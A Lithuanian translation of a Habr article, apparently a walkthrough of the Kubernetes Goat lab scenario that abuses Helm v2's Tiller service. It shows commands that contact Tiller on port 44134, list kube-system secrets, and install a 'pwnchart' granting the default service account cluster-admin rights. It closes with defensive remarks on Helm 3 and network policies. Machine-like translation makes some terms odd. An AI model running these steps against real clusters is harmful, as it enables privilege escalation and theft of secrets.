Helm yra Kubernetes paketų tvarkyklė, panašiai apt-get
skirta Ubuntu. Šioje pastaboje matysime ankstesnę vairo versiją (v2) su pagal numatytuosius nustatymus įdiegta vairalazdės paslauga, per kurią pasieksime klasterį.
Paruoškime klasterį; norėdami tai padaryti, paleiskite komandą:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
Demonstracija
- Jei nieko papildomai nekonfigūruosite, helm v2 paleidžia vairalazdės paslaugą, kuri turi RBAC su visomis klasterio administratoriaus teisėmis.
- Įdiegę vardų erdvę
kube-system
pasirodotiller-deploy
, taip pat atidaro 44134 prievadą, susietą su 0.0.0.0. Tai galima patikrinti naudojant Telnet.
$ telnet tiller-deploy.kube-system 44134
- Dabar galite prisijungti prie vairalazdės paslaugos. Bendraudami su vairalazdės tarnyba naudosime vairo dvejetą, kad atliktume operacijas:
$ helm --host tiller-deploy.kube-system:44134 version
- Pabandykime gauti Kubernetes klasterio paslaptis iš vardų erdvės
kube-system
:
$ kubectl get secrets -n kube-system
- Dabar galime sukurti savo diagramą, kurioje sukursime vaidmenį su administratoriaus teisėmis ir priskirsime šį vaidmenį numatytajai paslaugos paskyrai. Naudodami šios paslaugos paskyros prieigos raktą, gavome visišką prieigą prie savo grupės.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Dabar kada
pwnchart
įdiegta, numatytoji paslaugos paskyra turi visą administravimo prieigą. Dar kartą patikrinkime, kaip gauti paslapčių iškube-system
kubectl get secrets -n kube-system
Sėkmingas šio scenarijaus vykdymas priklauso nuo to, kaip buvo įdiegtas „Tiler“; kartais administratoriai jį diegia atskiroje vardų srityje su skirtingomis privilegijomis. Helm 3 nėra jautrus tokiems pažeidžiamumui, nes... joje nėra vairalazdės.
Vertėjo pastaba: Tinklo politikos naudojimas srautui filtruoti klasteryje padeda apsisaugoti nuo tokio tipo pažeidžiamumų.
Šaltinis: www.habr.com